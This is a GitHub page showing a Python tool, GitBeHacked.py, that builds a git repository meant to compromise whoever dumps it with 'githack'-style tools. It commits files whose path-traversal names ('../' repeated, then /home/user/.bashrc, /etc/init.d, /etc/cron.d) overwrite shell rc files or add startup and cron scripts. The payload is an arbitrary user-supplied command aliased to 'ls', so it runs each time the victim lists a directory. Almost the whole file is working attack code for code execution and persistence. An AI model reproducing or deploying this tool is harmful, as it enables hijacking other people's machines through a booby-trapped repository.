-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathGitBeHacked.py
202 lines (157 loc) · 6.73 KB
/
GitBeHacked.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
import sys
from icecream import ic
from git import Repo
import os
import argparse
ic.configureOutput(prefix="")
####
# fu will output the func
# ic.configureOutput(prefix="")
# ic(fu(12))
# fu(12): 14
####
path = os.path.dirname(os.path.realpath(__file__))
superLongParentDir = "../"*20+".."
def fileGenerator(content,locations):
for location in locations:
with open(location,"w") as f :
f.write( content )
print("[+] file generated at ",end="")
ic(location)
def cleanFiles(base,locations):
print("[*] Base is at ",base)
print("[*] You may need delete it")
for location in locations:
try:
os.remove(location)
except:
print("[-] Delete file error at ",location)
pass
def evilFileGenerator(base,locations):
fileExists = False
if os.path.exists(base):
fileExists = True
for each in locations:
if os.path.exists(each):
fileExists = True
if fileExists:
print("[-] file is exists")
print("[*] do you wanna remove?[y/N]" ,end="")
feedback = input("")
if feedback in ["y","Y"]:
if os.path.isdir(base):
os.rmdir(base)
else:
raise RuntimeError("[-] Conflict ....")
with open("bashrc","r") as f:
evilFileFormat = f.read()
print("[*] you evil command will set as the alias of ls command")
print("[*] Your command: ",end="")
userCommand = input()
os.mkdir(base)
for eachLocation in locations:
print("[+] file written now is ",eachLocation)
with open(eachLocation,"w+") as f:
f.write(evilFileFormat.replace("<hashtag>",userCommand))
print("[+] file generated successfully")
print("[+] evil file location is ",locations)
pass
def badRepoGenerator( username :str,outputDirName="test",
badfileName=".evilcodeExec",atPath="../",
fuckMethod="rcfile" ,os = "linux",clean = False):
assert outputDirName not in [ "","/" ]
path = "./"
workingDirectory = path + outputDirName
print("[+] Generate bad repo ")
badRepo = Repo.init( path=workingDirectory,mkdir=True )
# init payload
evilPayloadBaseDir = ""
evilPayloadLocation = []
if os == "linux":
if fuckMethod == "rcfile":
evilPayloadBaseDir = superLongParentDir+"/home/"+username+"/"
for eachfile in [".zshrc",".bashrc",".bash_profile"]:
evilPayloadLocation.append(evilPayloadBaseDir+eachfile)
evilFileGenerator(evilPayloadBaseDir,evilPayloadLocation)
elif fuckMethod == "start":
print("[*] You choose the start (target need root privilege)")
evilPayloadBaseDir = superLongParentDir+"/etc/init.d/"
evilPayloadLocation = [evilPayloadBaseDir+badfileName]
with open(path+badfileName,"r") as f :
content = f.read()
fileGenerator(content,evilPayloadLocation)
elif fuckMethod == "cron":
print("[*] cron is hard to used (target better have root privilege)")
evilPayloadBaseDir = superLongParentDir+"/etc/cron.d/"
evilPayloadLocation = [evilPayloadBaseDir+badfileName]
with open(path+badfileName,"r") as f:
content = f.read()
fileGenerator(content,locations=evilPayloadLocation)
elif fuckMethod == "msg":
print("[*] msg provide a method to add a file out of the git repo folder (you can use like a file adder or msg.exe)")
print("[*] It can be used as test")
print("[*] It will use ./[badfilename] file content and add to the relative address about git repo(really create the file)")
print("[?] Do you wanna continue? [N/y] ",end="")
if input("") in ["N","n"]:
print("[-] exiting..")
exit(3)
evilPayloadBaseDir = atPath
evilPayloadLocation = [evilPayloadBaseDir+badfileName]
with open(path+badfileName ,"r") as f:
content = f.read()
fileGenerator(content,evilPayloadLocation)
pass
elif os == "win" :
print("[-] in Coming")
pass # not available now
badRepo.index.add(evilPayloadLocation)
badRepo.index.commit("Evil Generated!")
print("[+] Generate Repo successfully")
if clean:
cleanFiles(evilPayloadBaseDir,evilPayloadLocation)
# def argcheck(obj):
# try :
# assert obj.os in ["linux","win"]
# assert obj.method in ["cron","start","rcfile","msg"]
# except AssertionError :
# print("[-] args error")
# exit(-2)
def main():
praser = argparse.ArgumentParser()
praser.add_argument("-D","--outputDirectoryName",help="your repo with contain in this directory default is test",default="test")
praser.add_argument("-u","--user",help="target username")
praser.add_argument("-o","--os",help="os version [ win, linux ] default is linux",default="linux",choices=["win","linux"])
praser.add_argument("-m","--method",help="attack method [ cron, start, rcfile, msg ] ",default="rcfile",choices=["cron","start","rcfile","msg"])
praser.add_argument("-B","--badfilename",help="badfile in cron mode name",default=".evilcode")
praser.add_argument("-p","--atpath",help="bad file you want located at path such as ../../../ ")
praser.add_argument("-c","--clean",help="it will used like file clean to delete file we generate or overwrite add it to confirm",action="store_true")
arg = praser.parse_args()
# print(arg)
# argcheck(arg)
badRepoGenerator(username=arg.user,
outputDirName=arg.outputDirectoryName,
badfileName=arg.badfilename,
fuckMethod=arg.method,
os=arg.os,
atPath=arg.atpath,
clean=arg.clean
)
def banner():
print('''
____ _ _ ____ _ _ _ _
/ ___(_) |_| __ ) ___| | | | __ _ ___| | _____ __| |
| | _| | __| _ \ / _ \ |_| |/ _` |/ __| |/ / _ \/ _` |
| |_| | | |_| |_) | __/ _ | (_| | (__| < __/ (_| |
\____|_|\__|____/ \___|_| |_|\__,_|\___|_|\_\___|\__,_|
[?] create a repo which contains the file at parent dict and hack back the "githack" like tools
''')
pass
if __name__ == "__main__":
banner()
try:
os.setuid(0)
except PermissionError:
print("[-] We need root privilege to generate payload")
print("[*] Now privilege is: "+os.popen("whoami").read())
exit(-1)
main()